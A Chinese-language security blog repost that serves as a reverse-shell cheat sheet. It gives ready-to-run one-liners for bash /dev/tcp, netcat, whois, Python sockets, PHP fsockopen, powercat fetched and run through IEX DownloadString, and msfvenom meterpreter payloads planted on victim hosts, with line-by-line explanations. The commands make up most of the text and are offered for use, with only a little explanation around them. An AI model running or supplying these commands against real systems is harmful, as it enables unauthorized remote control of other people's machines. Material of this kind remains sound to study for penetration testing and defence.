bash -i >&/dev/tcp/1.1.1.1/9999 0>&1


解釋:bash -i [interface] 表示啟動shell窗口>表示將這個窗口重定向到指定的地方,也就是將輸出交給後面&表示將該命令轉到後台執行 (我看其他文章也有將&解釋成等同於的,如2>&1 就表示stderr標準錯誤重定向為等同於stdout標準輸出)/dev/tcp/x.x.x.x/port表示發出一個socket調用,建立一個socket連接,讀寫這個文件等同於socket連接中傳輸數據.x.x.x.x表示要反彈到的主機的ip,port為端口 (同理linux中還存在/dev/udp)0表示stdin標準輸入1表示stdout標準輸出2表示stderr標準錯誤輸出0>&1表示將標準輸入重定向到標準輸出1.nc彈linux的shell: nc -e /bin/bash 1.1.1.1 9999
nc -e 表示連接成功後執行的程序nc -e /bin/bash表示連接到遠程之後執行shell, 並反彈
2. 如果linux中nc沒有-e參數
(1)nc x.x.x.x 4444 | /bin/bash | nc x.x.x.x 5555#從4444端口獲取到命令,bash 運行後將命令執行結果返回 5555 端口,攻擊者主機上也是打開兩個終端分別執行監聽。

(2)nc -c /bin/bash x.x.x.x 4444
(3)/bin/sh | nc x.x.x.x 4444
windows端需要下載nc.exe 戳這:https://eternallybored.org/misc/netcat/【報毒,建議虛擬機下載】
攻擊機監聽:nc -lvp 7777windows端反彈shell:nc x.x.x.x 7777 -e c:\windows\system32\cmd.exe
whois -h x.x.x.x -p 9999 `whoami`
#但是反彈的shell只能執行後面帶的命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'解釋:import socket,subprocess,os#導入模塊,其中subprocess庫用來提供強大的進程創建接口,還可以提供多種與客戶端程序交互的方法。s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #SOCK_STREAM表示創建一個TCP連接s.connect(("x.x.x.x",5555))os.dup2(s.fileno(),0)#os.dup2表示將一個文件描述符複製到另一個文件描述符,fileno()表示將文件流指針轉換成文件描述符,s.fileno表示返回socket的文件描述符,這行代碼表示將s.fileno()表示的文件傳遞到0指向的文件,0即我們之前所說的stdin標準輸入os.dup2(s.fileno(),1) #同理,1表示stdout標準輸出os.dup2(s.fileno(),2)#同理,2表示stderr標準錯誤輸出p=subprocess.call(["/bin/bash","-i"]); #表示運行/bin/bash -i, subprocess.call執行命令時不使用空格,用""分開2、php
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
【註:php的fsockopen使用需要php.ini中allow_url_fopen = On】
php -r $sock=fsockopen("x.x.x.x",5555);//fsockopen用來打開一個網絡連接或者一個Unix套接字連接exec("/bin/bash -i <&3 >&3 2>&3");//文件描述符都是遞增的,則創建新的文件描述符之後其大小為3,所以直接將0,1,2重定向3。0,1,2的含義我們上文反覆提到//可以寫成exec("/bin/bash -i 0<&3 1>$3 2>&3");還有一些其他腳本反彈shell可以參考烏雲滴文章:https://mp.weixin.qq.com/s/AnvJIRX9hx4g4gg8Er_O4g一些文件描述符的理解可以kk這個:https://zhuanlan.zhihu.com/p/109053744powercat是netcat的powershell版本,
下載地址:https://github.com/besimorhino/powercat (需要fq)兩種用法:
(1)下載腳本,powershell本地運行
Import-Module .\powercat.ps1
powercat -c 攻擊機IP -p 端口 -e cmd

(2)從url下載使用
powershell運行: (cmd的話命令前面加個powershell一樣的)IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd【這裡先下載ps1腳本到自己搭的服務器,再運行powershellIEX (New-Object System.Net.Webclient).DownloadString('https://10.x.x.x/powercat.ps1') ; powercat -c 攻擊機ip -p 端口 -e cmd】
這個更常見啦,寶子們應該都會啦~
進入msf開搞:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=9999 -f exe > /root/shell.exe
放到自己服務器上讓受害者windows主機下載運行然後攻擊機msf:use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 攻擊機ipset LPORT 9999exploit看到session
成功啦~
當然大家可能已經膩味了熟悉的windows/meterpreter/reverse_tcp,msfvenom也有很多其他反彈shell的payload
msfvenom -l payload | grep 'reverse_tcp'
好了我們選中一個幸運payload兒來嘗試:

好吧就你了最好的語言
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻擊機IP LPORT=6666 -f raw > shell.php
放到受害主機根目錄,打開暫時還沒有socket:

攻擊機一頓set, 然後受害主機刷新一下shell.php,成功拿到:

作者:Luc1fer,文章轉載於FreeBuf.COM。
侵權請私聊公眾號刪文
藍隊應急響應姿勢之Linux
通過DNSLOG回顯驗證漏洞
記一次服務器被種挖礦溯源
內網滲透初探 | 小白簡單學習內網滲透
實戰|通過惡意 pdf 執行 xss 漏洞
免殺技術有一套(免殺方法大集結)(Anti-AntiVirus)
內網滲透之內網信息查看常用命令
關於漏洞的基礎知識
任意賬號密碼重置的6種方法
乾貨 | 橫向移動與域控權限維持方法總匯
手把手教你Linux提權
歡迎關注LemonSec
覺得不錯點個「贊」、「在看」